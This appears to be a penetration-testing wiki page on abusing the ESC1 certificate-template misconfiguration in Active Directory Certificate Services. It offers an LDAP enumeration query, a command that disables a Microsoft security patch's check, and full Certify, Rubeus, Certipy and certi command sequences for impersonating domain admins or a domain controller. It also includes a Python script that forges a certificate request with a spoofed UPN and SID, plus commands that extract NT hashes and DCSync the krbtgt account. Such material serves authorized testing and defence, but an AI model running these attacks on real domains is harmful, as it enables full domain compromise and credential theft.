> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/ad-cs-abuse/esc1.md).

# ESC1

* <https://elkement.wordpress.com/2020/06/21/impersonating-a-windows-enterprise-admin-with-a-certificate-kerberos-pkinit-from-linux/>

The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart Card Logon (`1.3.6.1.4.1.311.20.2.2`) or Client Authentication (`1.3.6.1.5.5.7.3.2`) or PKINIT Client Authentication (`1.3.6.1.5.2.3.4`) EKUs.

## Enumerate

Find template with this misconfiguration with native Active Directory module:

```powershell
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
```

## Disable the KB5014754 Patch

Disable `szOID_NTDS_CA_SECURITY_EXT` extension checking (requires CertSvc restart):

```
Cmd > certutil.exe -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.25.2
```

## Exploit

### Certutil

* <https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee>

### Certify

Request a certificate specifying the `/altname` as a domain admin:

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:VulnTemplate /altname:DomAdmin
```

Convert `.pem` to a `.pfx` certificate:

```
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

Request a TGT with the `.pfx` certificate:

```
Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DomAdmin /certificate:cert.pfx /password:Passw0rdPfx! /ptt
```

### Certipy

Enroll a certificate with privileged subject in SAN:

```
$ certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template VulnTemplate -upn administrator@megacorp.local -dc-ip 192.168.1.11
$ proxychains4 certipy req -u 'PC01$@megacorp.local' -aes <AES_KEY> -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate -upn 'DC01$@megacorp.local' -sid <DC01_SID> -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
```

Request TGT providing the certificate and get the corresponding NT hash automatically:

```
$ certipy auth -pfx administrator.pfx -domain megacorp.local -username administrator -dc-ip 192.168.1.11
```

Manually via web enrollment at `/certsrv/certrqxt.asp`:

{% code title="certrqxt2pfx.py" %}

```python
from certipy.lib.certificate import (
    create_csr,
    create_pfx,
    csr_to_der,
    der_to_pem,
    pem_to_cert,
    cert_id_to_parts,
    get_identifications_from_certificate,
    get_object_sid_from_certificate
)
from certipy.lib.formatting import print_certificate_identifications

username = 'j.doe@megacorp.local'
alt_upn  = 'DC01$@megacorp.local'
alt_sid  = 'S-1-5-21-XXXXXXXXX-XXXXXXXXXX-XXXXXXXXX-1000'
template = 'ESC1'

csr, key = create_csr(
    username,
    alt_dns=None,
    alt_upn=alt_upn,
    alt_sid=alt_sid,
    key=None,
    key_size=2048,
    subject=None,
    renewal_cert=None,
    application_policies=[]
)

attributes = '\n'.join([f'CertificateTemplate:{template}', f'SAN:upn={alt_upn}'])

print(der_to_pem(csr_to_der(csr), "CERTIFICATE REQUEST"))
print(attributes)

# https://CA01.megacorp.local/certsrv/certnew.cer?ReqID=1337&Enc=b64
pem = b'''-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----'''

cert = pem_to_cert(pem)

identifications = get_identifications_from_certificate(cert)
print_certificate_identifications(identifications)

object_sid = get_object_sid_from_certificate(cert)
if object_sid is not None:
    print(f'[*] Certificate object SID is {repr(object_sid)}')
else:
    print('[!] Certificate has no object SID')

out, _ = cert_id_to_parts(identifications)
if out is None:
    out = username
out = out.rstrip('$').lower()

with open(f'{out}.pfx', 'wb') as f:
    f.write(create_pfx(key, cert))

print(f'[+] Saved certificate and private key to {out}.pfx')
```

{% endcode %}

### certi

* <https://gist.github.com/Flangvik/15c3007dcd57b742d4ee99502440b250>

Enroll a certificate with privileged subject in SAN:

```
$ certi.py req megacorp.local/snovvcrash@CA01.megacorp.local CorpCA -k -n --dc-ip 192.168.1.11 --template VulnTemplate --alt-name 'DC01$'
```

Request TGT providing certificate:

```
$ base64 -w0 DC01.pfx > DC01.pfx.b64
$ python3 gettgtpkinit.py megacorp.local/'DC01$' -pfx-base64 `cat DC01.pfx.b64` -pfx-pass admin -dc-ip 192.168.1.11 DC01.ccache
```

Request NT hash providing TGT or DCSync:

```
$ KRB5CCNAME=DC01.ccache python3 getnthash.py megacorp.local/'DC01$' -dc-ip 192.168.1.11 -key <AS_REP_ENC_KEY>
$ KRB5CCNAME=DC01.ccache secretsdump.py DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass
```
